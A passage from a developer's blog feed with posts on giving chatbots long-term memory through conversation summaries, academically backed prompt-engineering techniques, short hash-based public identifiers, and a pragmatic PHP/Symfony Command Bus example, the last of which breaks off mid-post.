<pre><code>User: Hi, my name is Loïc
Chatbot: Hello Loïc, it's nice to meet you! How can I assist you today?
User: What is my name?
Chatbot:
</code></pre>

<p>By sending this augmented prompt to the LLM, we'll now be able to get the
expected completion <code>Your name's Loïc</code>.</p>

<h2 id="prompt-size-limit">Prompt Size Limit</h2>

<p>But LLMs don't support unlimited sized prompts...</p>

<p>For the sake of the example, let's say the size limit is 5 lines,
and the conversation continued as follow:</p>

<pre><code>User: Hi, my name is Loïc
Chatbot: Hello Loïc, it's nice to meet you! How can I assist you today?
User: What is my name?
Chatbot: Your name's Loïc
User: I'm a Lead Developer, my tech stack is: PHP, Symfony, PostgresSQL and git
Chatbot: Do you have any specific questions related to your tech stack?
User: I also follow these methodologies: SCRUM, TDD and OOP
Chatbot: Do you have any topics related to those methodologies that you'd like to discuss?
User: What is my name?
Chatbot:
</code></pre>

<p>Because of the 5 lines limit, the chat system needs to truncate the augmented
prompt before sending it to the LLM. A common solution seems to only keep the
latest messages. Which means the LLM would end up only getting the following
prompt:</p>

<pre><code>Chatbot: Do you have any specific questions related to your tech stack?
User: I also follow these methodologies: SCRUM, TDD and OOP
Chatbot: Do you have any topics related to those methodologies that you'd like to discuss?
User: What is my name?
Chatbot:
</code></pre>

<p>And this is why ChatGPT is not able to answer the expected <code>Your name's Loïc</code>.</p>

<blockquote>
  <p>Note: at the time of writing this article, ChatGPT's limit is shared between
  the prompt and the completion:
  * for the <code>gpt-3.5-turbo</code> model, the token limit is 4096
  * for <code>gpt-4</code> it's 8192
  Before being sent to the LLM, the input text is broken down into tokens:
  <code>Hi, my name is Loïc</code> is broken down into the following dictionary
  <code>['Hi', ',', ' my', ' name', ' is', ' Lo', 'ï', 'c']</code>, which is then converted
  into the following tokens <code>[17250, 11, 616, 1438, 318, 6706, 26884, 66]</code>.
  A single word might be broken down into multiple tokens, and tokenisation
  varies between models. The rule of thumb is to consider that a token is
  equivalent to 3/4 of a word.</p>
</blockquote>

<h2 id="how-to-enable-infinite-memory%3F">How to enable Infinite Memory?</h2>

<p>So. Where do we go from here? How do we enable Infinite Memory for chatbots,
and more broadly LLMs?</p>

<p>One solution would be to periodically summarize parts of the conversation.</p>

<p>The summarization task itself can be done in a separate "summarizing" prompt:</p>

<pre><code>Summarize the following conversation in a short sentence, in the past tense:
User: Hi, my name is Loïc
Chatbot: Hello Loïc, it's nice to meet you! How can I assist you today?
User: What is my name?
Chatbot: Your name is Loïc
</code></pre>

<p>Which should result in a completion similar to:</p>

<pre><code>The user introduced themselves as Loïc, and the chatbot confirmed their name when asked.
</code></pre>

<p>The augmented prompt would then contain the summaries of older messages,
as well as recent ones:</p>

<pre><code>Previously:
The user introduced themselves as Loïc, and the chatbot confirmed their name when asked.
The user discussed their tech stack (PHP, Symfony, PostgresSQL and Git) and methodologies (SCRUM, TDD and OOP) as a Lead Developer, and the chatbot asked if they have any specific questions related to them.
User: What is my name?
Chatbot:
</code></pre>

<p>Now the LLM should be able to give a completion equivalent to:</p>

<pre><code>Your name is Loïc. Is there anything else I can help you with related to your tech stack or methodologies as a Lead Developer?
</code></pre>

<p>And that's the gist of it!</p>

<h2 id="takeways">Takeways</h2>

<p>Augmenting the prompt with recent messages, as well as summaries of related
older ones, can allow LLMs to have Infinite Memory!</p>

<p>And that's when the "build a pet project" part of my brain started tingling,
sometimes I just can't resist the urge to build something to get a better
grasp on a concept that's intriguing me...</p>

<p>So I've started to code a small CLI app (with PHP and Symfony of course)
to explore the concepts.</p>

<p>There definitely are some challenges and limits to the summarization approach.</p>

<p>First would be how to select the chunks of conversation to summarize...
Do we create a new summary:</p>

<ul>
<li>every 4 messages?</li>
<li>every hour? every day?</li>
<li>every time the topic seems to change? How do we detect that?</li>
</ul>

<p>Next is what summary to include in the prompt:</p>

<ul>
<li>a concatenation of all summaries?</li>
<li>a summary of all the summaries?</li>
<li>the summaries that are somehow related to the last messages or user prompt?</li>
</ul>

<p>Which then brings another rabbit hole, namely how to search for relevant
summaries:</p>

<ul>
<li>using semantic search?</li>
<li>using vector database?</li>
<li>using graph database?</li>
</ul>

<p>More on that once I've done some progress on the pet project. Anyway.</p>

<p>All in all, while I haven't found a practical use case for ChatGPT in my
day to day developer activity, it still seems worth exploring its potential
for generating content. The quest continues.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[ChatGPT: fluff or not? Academic Prompt Engineering]]></title>
            <link href="/2023/03/24/chat-gpt-academic-prompt-engineering.html"/>
            <updated>2023-03-24T00:00:00+00:00</updated>
            <id>/2023/03/24/chat-gpt-academic-prompt-engineering.html</id>
            <content type="html"><![CDATA[<p>Now that a couple of months have passed since its over hyped launch,
surely <a href="https://openai.com/blog/chatgpt/">ChatGPT</a> has found some
use cases where it could be of any actual use. Or is it all fluff? Let's find out.</p>

<p>In my quest to find a use for ChatGPT in my day to day developer activity,
I've stumbled upon this online course website:
<a href="https://learnprompting.org/]">Learn Prompting</a>,
an initiative lead by <a href="https://trigaten.github.io/">Sander Schulhoff</a>,
with contributions from <a href="https://towardsai.net/">Towards AI</a>.</p>

<p>Granted, this doesn't bring me anywhere close to my goal...
Yet, this is in stark contrast to all the resources that I've found so far,
which are usually "hey I tried this hack and it worked", with no explanations
on why.</p>

<p>Let me walk you through the different Prompt Engineering techniques,
and why they work, with some academic backing, so we can learn a thing or two.</p>

<blockquote>
  <p><strong>Note</strong>: It was extremely tempting to describe how ChatGPT works,
  but I didn't want the explanations to detract from the focus of the article
  (which is academic backed prompt engineering).
  I recommend these short articles for a detailed explanations:
  * <a href="https://iq.opengenus.org/gpt-3-5-model/">GPT 3.5 model</a>
  * <a href="https://gist.github.com/veekaybee/6f8885e9906aa9c5408ebe5c7e870698">Everything I (Vicki Boykis) understand about ChatGPT</a></p>
</blockquote>

<h2 id="x-shot-prompting"><a href="https://learnprompting.org/docs/basics/standard_prompt">X-Shot Prompting</a></h2>

<p>X-Shot prompting allows Large Language Models to improve their accuracy,
on previously unseen data, without the need to update their training parameters,
by including examples in the prompt:</p>

<pre><code>Extract the brand, product name and format from this item "Magnum White Chocolate Ice Cream 8 x 110 ml":
* brand: Magnum
* product name: White Chocolate Ice Cream
* format: 8 x 110 ml

Extract the brand, product name and format from this item "Birds Eye Garden Peas, 375g (Frozen)":
* brand: Birds Eye
* product name: Garden Peas
* format: 375g

Extract the brand, product name and format from this item "PG tips 160 Original Tea Bags":
* brand: PG tips
* product name: Original Tea Bags
* format: 160

Extract the brand, product name and format from this item "233g, Golden Eggs Chocolate Egg, Galaxy":
</code></pre>

<p>There's a distinction between Few-Shot, One-Shot and Zero-Shot prompting
(referring to how many examples are included in the prompt).</p>

<p>Isn't Zero-Shot prompting just... Prompting? Well X-Shot isn't just about
having examples in the prompt, it's mainly about the capability of the model
to perform better on new data it wasn't trained on, so we're going to see
that "Zero-Shot" term used in conjunction with other techniques.</p>

<blockquote>
  <p>See also, <a href="https://www.allabtai.com/">Kris - All About AI</a>'s article:
  <a href="https://www.allabtai.com/prompt-engineering-tips-zero-one-and-few-shot-prompting/">X-Shot Prompting</a></p>
</blockquote>

<h2 id="chain-of-thought-prompting"><a href="https://learnprompting.org/docs/intermediate/chain_of_thought">Chain of Thought Prompting</a></h2>

<p>Few-Shot Chain of Thought prompting allows Large Language Models
to perform better on logic based tasks (such as solving arithmetic,
commonsense, and symbolic problems) by including in the examples
the reasoning steps:</p>

<pre><code>Q: Roger has 5 tennis balls. He buys 2 more cans of tennis balls.
Each can has 3 tennis balls. How many tennis balls does he have now?

A: Roger started with 5 balls. 2 cans of 3 tennis balls each is 6 tennis balls.
5 + 6 = 11. The answer is 11.

Q: The cafeteria had 23 apples. If they use 20 to make lunch and bought 6 more,
how many apples do they have?
</code></pre>

<p>Zero-Shot Chain of Thought prompting can also be used to get better results
for these tasks, by including in the prompt a request to detail the reasoning
steps:</p>

<pre><code>A juggler can juggle 16 balls. Half of the balls are golf balls,
and half of the golf balls are blue. How many blue golf balls are there?
Let's think step by step.
</code></pre>

<p>More specifically, ending the prompt with <code>Let's think step by step</code> proved
to provide the best results
(claim backed in the paper <a href="https://arxiv.org/abs/2201.11903">CoT Prompting Elicits Reasoning in LLM</a>).</p>

<h2 id="generated-knowledge-prompting"><a href="https://learnprompting.org/docs/intermediate/generated_knowledge">Generated Knowledge prompting</a></h2>

<p>Generated Knowledge prompting allows Large Language Models to perform better
on commonsense reasoning by having a first prompt requesting the generation
of knowledge on a topic, and then incorporating the output in a second prompt
that requests top perform the related commonsense task.</p>

<p>Here's the first prompt asking for knowledge generation:</p>

<pre><code>Write 5 facts about test driven development
</code></pre>

<p>Then the second prompt which incorporates the output for the first prompt:</p>

<pre><code>Here are 5 facts about TDD:
1. Test-driven development (TDD) is a software development process that emphasizes the creation of automated tests before any code is written. In TDD, developers write a failing test case first, then write code to pass the test, and then refactor the code to improve it.
2. TDD helps to ensure that the code is working correctly by testing it at every step of the development process. By creating tests first, developers can also ensure that their code meets the requirements and specifications of the project.
3. TDD can be used with a variety of programming languages and frameworks, and it is often used in agile development methodologies. It can also be used in combination with other testing techniques, such as behavior-driven development (BDD) and acceptance test-driven development (ATDD).
4. TDD can result in improved code quality, as developers are forced to think more deeply about the design of their code and the potential edge cases that their code may encounter. TDD can also result in faster development times, as bugs are caught early in the development process and can be fixed before they cause more significant issues.
5. TDD is not a silver bullet solution for software development and may not be suitable for all projects or teams. It can require additional time and effort upfront to write tests and ensure that they are passing, and it may require a cultural shift in the development team to fully adopt the TDD methodology.

With TDD, can I first write code that fails, then write a test and finally refactor the code to make the test pass?
</code></pre>

<blockquote>
  <p><em>Note: I've seen this as also being referred to as Chain Prompting.</em></p>
</blockquote>

<h2 id="takeways">Takeways</h2>

<p>The following prompt engineering techniques are proven by studies to improve
the output quality of Large Language Models:</p>

<ul>
<li>X-Shot: include examples in the prompt</li>
<li>Chain of Thought: end the prompt with <code>Let's think step by step</code></li>
<li>Knowlegde Generated:

<ul>
<li>first ask to generate facts on a topic</li>
<li>then ask a question on the topic, including the previously generated facts</li>
</ul></li>
</ul>

<p>All in all, while I haven't found a practical use case for ChatGPT in my day to day developer activity,
it still seems worth exploring its potential for generating content. The quest continues.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[ChatGPT: fluff or not? Prompt Engineering]]></title>
            <link href="/2023/03/01/chat-gpt.html"/>
            <updated>2023-03-01T00:00:00+00:00</updated>
            <id>/2023/03/01/chat-gpt.html</id>
            <content type="html"><![CDATA[<p>Now that a couple of months have passed since its over hyped launch,
surely <a href="https://openai.com/blog/chatgpt/">ChatGPT</a> has found some
use cases where it could be of any actual use. Or is it all fluff? Let's find out.</p>

<p>In my quest to find a use for ChatGPT in my day to day developer activity,
I've stumbled upon this video:
<a href="https://www.youtube.com/watch?v=Xs7wieu-35k]">ChatGPT Prompt Engineering: How to Write a Story</a>,
by <a href="https://www.allabtai.com/">Kris - All About AI</a>).</p>

<p>Granted, story writing is a bit irrelevant for what I'm looking for.
Yet the way the messages sent to ChatGPT (aka "prompts") were crafted,
proved quite interesting!</p>

<p>Let me walk you through it,
with some added references so we can learn a thing or two.</p>

<h2 id="1st-prompt%3A-%22you%27re-an-expert%22">1st prompt: "You're an expert"</h2>

<p>After opening a new conversation,
the First Prompt (or user message) sent to ChatGPT is used to prime it:</p>

<pre><code>You are a {Genre} author.
Your task is to write {Genre} stories in a vivid and intriguing language.
Answer with "..." if you acknowledge.
Don't write anything yet.

Genre = Sci-Fi
</code></pre>

<p>This is a variation of the <code>You are [job], you have been [doing thing] for 20 years</code> prompt,
which helps ChatGPT narrow down the context that it's going to use to generate its replies.</p>

<blockquote>
  <p>Reference: "Give ChatGPT an identity" section from
  <a href="https://wgmimedia.com/how-to-use-chatgpt-advanced-prompt-engineering/">How To Use ChatGPT: Advanced Prompt Engineering</a></p>
</blockquote>

<p>Interestingly, it uses a placeholder (<code>{Genre}</code>) and sets its value (<code>Genre = Sci-Fi</code>).</p>

<p>It also makes sure that ChatGPT doesn't generate any reply.</p>

<p>Could this be because ChatGPT will base its next replies
on any text it will have already generated in the conversation?</p>

<h2 id="2nd-prompt%3A-%22templates-within-templates%22">2nd prompt: "Templates within Templates"</h2>

<p>The Second Prompt is used to specify more context for chatGPT:</p>

<pre><code>Title: [Insert story title here]
Setting: [Insert setting details here, including time period, location, and any relevant background information]
Protagonist: [Insert protagonist's name, age, and occupation, as well as a brief description of their personality and motivations]
Fill out the template above for a {Genre} story
Genre = Sci-Fi
</code></pre>

<p>The brilliance of this one is that it uses a second kind of placeholder (<code>[Insert story title here]</code>),
one that is intended for ChatGPT to replace (<code>Fill out template above</code>).</p>

<p>If ChatGPT is indeed going to base its next reply
on whatever it has already generated earlier in the conversation,
then having it repeat the instructions with the added details is simply genius.</p>

<p>The list format might also not be trivial,
as I've seen claims that usage of colons (<code>Title: [insert story title here]</code>)
is supposed to help ChatGPT be more specific in its replies too.</p>

<blockquote>
  <p>Reference: "Prompt 2" chapter from
  <a href="https://youtu.be/HGDxu3kPErs">Advanced ChatGPT Prompt Tutorial</a></p>
</blockquote>

<h2 id="3rd-%26-4th-prompts%3A-%22now%2C-do-your-job%22">3rd &amp; 4th prompts: "Now, do your job"</h2>

<p>While the First and Second prompts were about setting the context,
the Third and Fourth ones are finally the calls to action.</p>

<p>Here's the Third Prompt:</p>

<pre><code>Build a story outlines from the factors above:
</code></pre>

<p>ChatGPT is going to generate an ordered list based on the context previously given.</p>

<p>Then the Fourth Prompt:</p>

<pre><code>Great, now create story chapters from the outlines above:
</code></pre>

<p>ChatGPT is going to reuse its reply for the Third Prompt, and expand on it.</p>

<p>I'm taking note of the use of the word <code>Great</code>,
could its purpose be to give some positive feedback to ChatGPT?</p>

<p>Another thing worth mentioning is the use of the word <code>now</code>,
which I see a lot from prompt engineers,
and I'm not sure if it's delibarate to improve ChatGPT replies.</p>

<p>But most importantly,
I'm wondering how <code>from the factors above</code> is intepreted by ChatGPT:
is it going to consider every messages sent in the current conversation,
or is it going to focus on the immediately prior message.</p>

<p>I've personally got a feeling that ChatGPT will focus mainly on its own
replies from the conversation.</p>

<p>The usage of a final colon <code>:</code> is especially noteworthy,
I'd be curious to know if this is another hack to help ChatGPT write more focused replies.</p>

<h2 id="5th-prompt%3A-%22use-given-style%22">5th prompt: "Use given style"</h2>

<p>The Fifth Prompt is yet another call to action:</p>

<pre><code>Write Chapter 1 in depth and in great detail, in a intriguing writing style:
</code></pre>

<p>It asks ChatGPT to reuse its previous reply and expand on it,
but this time only a section of it by referencing the chapter number
(<code>Write Chapter 1</code>)!</p>

<p>The rest of the prompt is a variation of
<code>Write a [length] [content type] on [topic] in the style of [style]</code>.</p>

<p>Specifying some constraints such as these helps ChatGPT avoid irrelevant output.</p>

<blockquote>
  <p>Reference: "Be specific, descriptive and as detailed as possible about
  the desired context, outcome, length, format, style, etc " section from
  <a href="https://help.openai.com/en/articles/6654000-best-practices-for-prompt-engineering-with-openai-api">Best practices for prompt engineering with OpenAI API</a></p>
</blockquote>

<h2 id="5th-prompt-bis%3A-prompt-editing%21">5th prompt (bis): Prompt Editing!</h2>

<p>In my opinion, the most important piece of advice from that video
comes in play when writing the second to tenth chapters:</p>

<pre><code>Write Chapter 2 in depth and in great detail, in a intriguing writing style:
</code></pre>

<p>Instead of copying the prompt, pasting it in the input message box,
changing the chapter number and then sending it as the Sixth Prompt,
the advice we're given is to <strong>edit the Fifth Prompt</strong> (through ChatGPT's UI),
change the number and submit it!</p>

<p>ChatGPT's UI will still allow you to check the previous versions of the prompt,
as well as their generated replies, so you don't lose anything here.</p>

<p>But this ties in with the idea that ChatGPT performs better with its immediately prior message,
than asking it to expand on a reply it wrote 10 messages earlier.</p>

<h2 id="takeways">Takeways</h2>

<p>While the purpose of the video was to write a Sci-Fi story,
it helped learn a lot of Prompt Engineering techniques
(the art of crafting messages that will improve ChatGPT replies).</p>

<p>The First Prompt needs to prime ChatGPT for the targeted domain,
and make sure that it doesn't reply anything:</p>

<pre><code>You're [JOB].
You have been [DOING JOB] for 20 years.
Your task is now to [TASK].
Answer with "..." if you acknowledge.
Don't write anything yet.
</code></pre>

<p>It seems to me that ChatGPT bases its reply on its own immediately prior message,
so the Second Prompt needs to make ChatGPT repeat it in its reply,
to set up the context for the Third Prompt's reply.</p>

<p>The usage of colons (<code>:</code>) helps ChatGPT to be more specific in its replies,
and it's possible to use placeholders that are going to be replaced
with generated content in ChatGPT reply:</p>

<pre><code>Title: [Insert title]
Setting: [Insert setting details here]
Fill out the template above for a Sci-Fi story
</code></pre>

<p>If the prompt is intended to be copy pasted and used in different scenarios,
it's possible to use placeholders that act as variables,
and to which the value is set further down the prompt:</p>

<pre><code>You are a {Genre} author.
Your task is to write {Genre} stories

Genre = Sci-Fi
</code></pre>

<p>The Third Prompt is going to be a call to action,
that's going to use the Second Prompt's reply for context.</p>

<pre><code>Now, write [length] [content type] on [topic] in the style of [style], using [context] from above:
</code></pre>

<p>While we're on the topic of length it's very important to bear in mind that
<em>shared between the prompt you write and the reply it generates,
<strong>ChatGPT can only handle 4000 tokens</strong></em>, which is approximately 3000 words
(when it uses the <a href="https://platform.openai.com/docs/models/gpt-3">text-davinci-003 model</a>).</p>

<p>So for example, if your prompt contains 3000 tokens,
it only leaves ChatGPT with a 1000 token left for its reply!</p>

<blockquote>
  <p>Reference: "Important: Prompt Size Matters" chapter from
  <a href="https://www.youtube.com/watch?v=EYjG6i53-xk">This Will Make You Better than 99% ChatGPT Users</a></p>
</blockquote>

<p>The Fourth Prompt is going to be a call to action,
that's going to use the Third Prompt's reply for context, and so on.</p>

<p>If for some reason the Fifth Prompt needs to use the Third Prompt's reply for context,
then we should instead edit directly the Third Prompt, make the required changes, and submit them.</p>

<p>All in all, while I haven't found a practical use case for ChatGPT in my day to day developer activity,
it still seems worth exploring its potential for generating content. The quest continues.</p>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[Short Identifier]]></title>
            <link href="/2018/06/15/short-identifier.html"/>
            <updated>2018-06-15T00:00:00+01:00</updated>
            <id>/2018/06/15/short-identifier.html</id>
            <content type="html"><![CDATA[<p>Sometimes resources can be identified by one of their attributes
(a name, title, slug) and sometimes they can't (no name, or confidential name).</p>

<p>In the later case, an ID needs to be artificially crafted.</p>

<p>Two of the popular strategies is to use either an auto incremental one
or a universally unique one, however when it comes to share them publicly,
both strategies present some drawbacks</p>

<h2 id="auto-incremental-ids">Auto Incremental IDs</h2>

<p>Resources are given a serial number, starting from 1
and increased by 1 for every new entry added.</p>

<p>This means that the ID of the last resource needs to be known
in order to create a new one, so that's usually done by the database itself.</p>

<h3 id="inconvenients%3A">Inconvenients:</h3>

<ul>
<li>the ID isn't known until the actual addition is done</li>
<li>the IDs are guessable</li>
<li>the ID is only unique to this resource in this database</li>
</ul>

<h2 id="universally-unique-ids">Universally Unique IDs</h2>

<p>Resources are attributed with a 36 characters long hexadecimal string,
which is computed by an algorithm.</p>

<p>A couple of Universally Unique ID (UUID) strategies are available,
the main ones being:</p>

<ul>
<li>v1: generation done using a timestamp and the MAC address of the computer</li>
<li>v4: generation done using a secure random number generator</li>
</ul>

<h3 id="inconvenients%3A">Inconvenients:</h3>

<ul>
<li>the ID is quite lengthy</li>
<li>the ID is made of hexadecimal numbers</li>
<li>the ID is hard to read and remember
(because of the two previous bullet points)</li>
</ul>

<h2 id="short-ids">Short IDs</h2>

<p>Since UUIDs are 36 characters long,
and auto incremental IDs are incrementally longer,
there might be a need for a shorter ID.</p>

<p>The requirements for a short ID are usually:</p>

<ul>
<li>be readable (e.g. 6 characters long)</li>
<li>be automatically generated by an algorithm that is:

<ul>
<li>collision free (still needs to be unique)</li>
<li>fast (i.e. no possibility of infinite loop)</li>
<li>cryptologically secure (they shouldn't be predictable)</li>
</ul></li>
<li>be generated by the application as opposed to the database
(allows for asynchronous environments)</li>
</ul>

<h3 id="hashing-and-collisions">Hashing and collisions</h3>

<p>A possible compromise is to keep the IDs
as they currently are in the system for internal operations,
and provide a hash of it for public operations,
with the hope that the hash is shorter and more readable than the ID.</p>

<p>As of 2018, the best hashing algorithm is
<a href="https://en.wikipedia.org/wiki/Secure_Hash_Algorithms">SHA-256</a>,
as it generates 256 cryptologically secure bits
and hasn't been found to be vulnerable to
<a href="https://en.wikipedia.org/wiki/Collision_attack">collision attacks</a>
<em>yet</em>.</p>

<p>The drawbacks of hashes are the following:</p>

<ul>
<li>a stronger algorithm needs to be adopted as collision attacks are found
(as it happened for MD5 in 1996, and SHA1 in 2017)</li>
<li>the stronger the algorithm, the longer the output bits</li>
<li>they aren't collision free</li>
</ul>

<p>Following the
<a href="https://en.wikipedia.org/wiki/Birthday_problem">Birthday Paradox</a>,
we can calculate when the first collision will happen:
after outputting <code>2 ** (n / 2)</code> hashes
(with <strong>n</strong> being the number of output bits).</p>

<p>For SHA-256, that's 340 undecillion
(340 282 366 920 938 463 463 374 607 431 768 211 456)
hashes before a collision happens.</p>

<blockquote>
  <p><em>References</em>:</p>
  
  <ul>
  <li><a href="https://blog.codinghorror.com/url-shortening-hashes-in-practice/">URL shortening hashes in practice</a></li>
  <li><a href="http://bugcharmer.blogspot.co.uk/2012/06/how-big-is-2128.html">How big is 2 ** 128</a></li>
  </ul>
</blockquote>

<h3 id="shortening-hashes">Shortening hashes</h3>

<p>The Git project uses hexadecimal representation of SHA-1 hashes
to identify each commits.</p>

<p>Since these hashes are quite lengthy (160 bits, 40 hexadecimal characters),
Git allows to use the first few characters to be able to identify it
(at first it was the first 7, then it's been changed to the first 12
and finally it's been changed to dynamically increment).</p>

<p>The number of hashes a subset covers can be calculated as follow: <code>16 ** d</code>
(with <strong>d</strong> being the number of first hexadecimal characters selected).</p>

<p>Using the Birthday Problem formula,
we can estimate that the first collision might happen after
<code>2 ** (n / 2)</code> short hashes have been used
(with <strong>n</strong> being the number of first bits, which is <code>d * 4</code>,
with <strong>d</strong> being the number of first hexadecimal characters).</p>

<p>Here's a handy list:</p>

<ul>
<li>6 first characters: covers    16 777 216 hashes, but first collision happens after  4 096 hashes generated</li>
<li>7 first charecters: covers   268 435 456 hashes, but first collision happens after 16 384 hashes generated</li>
<li>8 first characters: covers 4 294 967 296 hashes, but first collision happens after 65 536 hashes generated</li>
</ul>

<blockquote>
  <p><em>References</em>:</p>
  
  <ul>
  <li><a href="https://www.quora.com/Cryptography-What-is-the-smallest-prefix-length-of-an-SHA1-hash-that-would-guarantee-uniqueness-in-a-reasonable-object-space">Smallest SHA-1 prefix before collision?</a></li>
  <li><a href="https://git-scm.com/book/en/v2/Git-Tools-Revision-Selection#Single-Revisions">Git hashes</a></li>
  <li><a href="https://github.com/git/git/commit/dce96489162b05ae3463741f7f0365ff56f0de36">Git bumping default from 7 characters to configurable one</a></li>
  <li><a href="https://github.com/git/git/commit/e6c587c733b4634030b353f4024794b08bc86892">Git introducing a way to automatically guess how many characters should be used</a></li>
  </ul>
</blockquote>

<h3 id="alphabetical-representation-to-avoid">Alphabetical representation (to avoid)</h3>

<p>At the lowest level, IDs are represented as binary numbers.</p>

<p>To be more human friendly, they can then be converted to a different base:</p>

<ul>
<li>base 10 for decimal integer (like IDs)</li>
<li>base 16 for hexadecimal number (like hashes)</li>
</ul>

<p>We can even use a custom base,
such as base 62 which would use all 26 English alphabet characters,
both lower case and upper case, and all 10 digits.</p>

<p>The bigger the base, the shorter the same number will be represented,
so a way to shorten an ID (and that includes a way to shorten a hash)
is to represent it in a different base.</p>

<p>While using this approach might seem like a good idea at first
(human readable IDs that look like words), they actually bring more trouble
(chances to generate bad words in many languages).</p>

<blockquote>
  <p><em>References</em>:</p>
  
  <ul>
  <li><a href="https://thedailywtf.com/articles/The-Automated-Curse-Generator">The automated curse generator</a></li>
  </ul>
</blockquote>

<h2 id="conclusion">Conclusion</h2>

<p>Regardless of the type of internal ID used (auto incremental, UUID, or other),
it could still be benificial to generate from them a short public ID.</p>

<p>A way to do so is to create a SHA-256 hash out of the ID,
and then use its first few characters.</p>

<p>The precise number of character to use can be incremental,
it should be bumped up when the number of generated hashes becomes close
to the estimated first collision.</p>

<blockquote>
  <p><em>See also</em>:</p>
  
  <ul>
  <li><a href="https://hashids.org/">Convert a positive integer into a short ID</a></li>
  <li><a href="https://github.com/ai/nanoid">Generate a short ID</a> (javascript only)</li>
  <li><a href="https://instagram-engineering.com/sharding-ids-at-instagram-1cf5a71e5a5c">Generate a short ID, sortable by creation</a></li>
  </ul>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[PragmatiClean - Command Bus]]></title>
            <link href="/2017/09/20/pragmaticlean-command-bus.html"/>
            <updated>2017-09-20T00:00:00+01:00</updated>
            <id>/2017/09/20/pragmaticlean-command-bus.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p><strong>TL;DR</strong>: Use Command Bus pattern in your controllers, but drop the bus.</p>
</blockquote>

<p>The Command Bus pattern relies on 3 types of classes:</p>

<p>The first one is the <em>Command</em>:</p>

<ul>
<li>its class name should describe the intended action in an imperative manner
(eg <code>SubmitNewQuote</code>, <code>AssignReviewers</code>, etc)</li>
<li>it is constructed using the input parameters
(eg a Request's query/post/header parameters, a Console's input argument/option, etc)</li>
<li>it applies "simple" validation on those parameters
(eg parameter type, missing required parameter, etc)</li>
</ul>

<p>Next is the <em>Command Handler</em>:</p>

<ul>
<li>it is dedicated to a single Command
and its class name is its Command's name suffixed with <code>Handler</code></li>
<li>it applies "complex" validation on the Command's parameters
(eg existence of referenced resource, existence of duplicates, etc)</li>
<li>it calls services to apply the actual logic,
reading it should feel like reading the steps of a use case</li>
<li>it shouldn't return anything, to allow asynchronous actions</li>
</ul>

<p>And Finally there's a <em>Command Bus</em> interface allowing us to build Middlewares:</p>

<ol>
<li>we can have a Command Bus that calls the appropriate Command Handler for the given Command</li>
<li>we can have a Command Bus that wraps the above one in a database transaction</li>
<li>we can have a Command Bus that wraps the above ones to log all incoming commands</li>
<li>we can have a Command Bus that wraps the above ones to check permissions</li>
<li>etc</li>
</ol>

<p>Middlewares can do any action we want before and/or after the wrapped Command Bus.
They can be nested in a specific order, allowing us a fine grained control over
how the Command will be handled.</p>

<h2 id="clean-code">Clean Code</h2>

<p>Command Bus can be described as a routing for the domain:
a Command (like a Request) is given to the Command Bus (like a Router)
which is going to call the appropriate Command Handler (like a Controller).</p>

<p>We can use Command Bus in our controller: create the Command using the
Request's inputs, and then take the code that would be in the Controller
and move it in the Command Handler.</p>

<p>This way our Domain logic is decoupled from the Framework. The idea of being
able to switch an application to a different framework might seem ludicrous
(when does that ever happen?), but the truth is that two major versions of
a single framework often feel like having two different frameworks
(eg symony1 V Symfony2) and in some cases it's even the case for minor versions
(eg Symfony 2.0 V Symfony 2.1).</p>

<h2 id="pragmatic-code">Pragmatic Code</h2>

<p>The main point of Command Bus is the possibility to create Middlewares, however
the same thing could be achieved with a good old Event Dispatcher, so let's
ditch the Bus.</p>

<p>The Routing thing should already be done for us by the framework, and it should
be true regardless of the framework or version upgrades. So we can safely inject
Command Handlers directly in Controllers.</p>

<p>Finally, most of the time applications aren't asynchronous. So when it's not
the case it should be OK for the Command Handler to return a value
(eg the created or updated resource).</p>

<h2 id="symfony-example">Symfony Example</h2>

<p>Let's put all this wisdom into practice by creating a Controller allowing us to
submit a code to reset a counter.</p>

<p>First we're going to create the Command, it should contain all the input
parameters, do a simple validation on it and have an
intention revealing name describing the action we'd like to do:</p>

<pre><code class="php">&lt;?php
// File: src/Dharma/Swan/SubmitCode.php;

namespace Dharma\Swan\Code;

class SubmitCode
{
    public $code;

    /**
     * @throws \DomainException If the required "code" parameter is missing
     * @throws \DomainException If the "code" parameter is not a string
     */
    public function __construct($code)
    {
        if (null === $code) {
            throw new \DomainException(
                'Missing required "code" parameter',
                422
            );
        }
        if (!is_string($code)) {
            throw new \DomainException(
                'Invalid "code" parameter: should be a string',
                422
            );
        }
        $this-&gt;code = (string) $code;
    }
}
</code></pre>

<blockquote>
  <p><em>Note 1</em>: Command class attributes are set in the constructor, and then read
  in the Command Handler. Since it's never used anywhere else, there's no point
  creating a getter or setter for it, we can just make those attributes public.</p>
  
  <p><em>Note 2</em>: Commands are going to check the parameters type, so there's no need
  to type hint the constructor arguments (we should allow wrong types so we can
  throw an exception with a helpful message).</p>
  
  <p><em>Note 3:</em> <code>DomainException</code> is the PHP standard exception for application
  errors (eg not found, forbidden, etc). Here we use the code <code>422</code> which is
  the HTTP status code for <code>UNPROCESSABLE ENTITY</code> ("validation failed").
  Our advice is to create custom Application Exceptions that extend
  <code>DomainException</code> and set the right code (eg <code>ValidationFailed</code> with code 422,
  <code>NotFound</code> with code 404, etc).</p>
</blockquote>

<p>The second step is to create the Command Handler. It needs to do more complex
validation, and the actual logic associated to the Command's intention:</p>

<pre><code class="php">&lt;?php
// File: src/Dharma/Swan/SubmitCodeHandler.php;

namespace Dharma\Swan;

use Dharma\Swan\Service\CheckCode;
use Dharma\Swan\Service\ResetCounter;

class SubmitCodeHandler
{
    private $checkCode;
    private $resetCounter;

    public function __construct(
        CheckCode $checkCode,
        ResetCounter $resetCounter
    ) {
        $this-&gt;checkCode = $checkCode;
        $this-&gt;resetCounter = $resetCounter;
    }

    /**
     * @throws \DomainException If the "code" parameter is not a valid code
     */
    public function handle(SubmitCode $submitCode): int
    {
        $this-&gt;checkCode-&gt;check(
            $submitCode-&gt;code
        );
        $newCount = $this-&gt;resetCounter-&gt;reset();

        return $newCount;
    }
}
</code></pre>

<blockquote>
  <p><em>Note 4</em>: Services with descriptive names are injected and used in the
  Command Handler, so that reading the <code>handle</code> methods feels like reading the
  steps of the current use case.</p>
  
  <p><em>Note 5</em>: The <code>CheckCode</code> service will throw a 442 exception if the code is
  invalid (eg if the code is not <code>4 8 15 16 23 42</code>).</p>
  
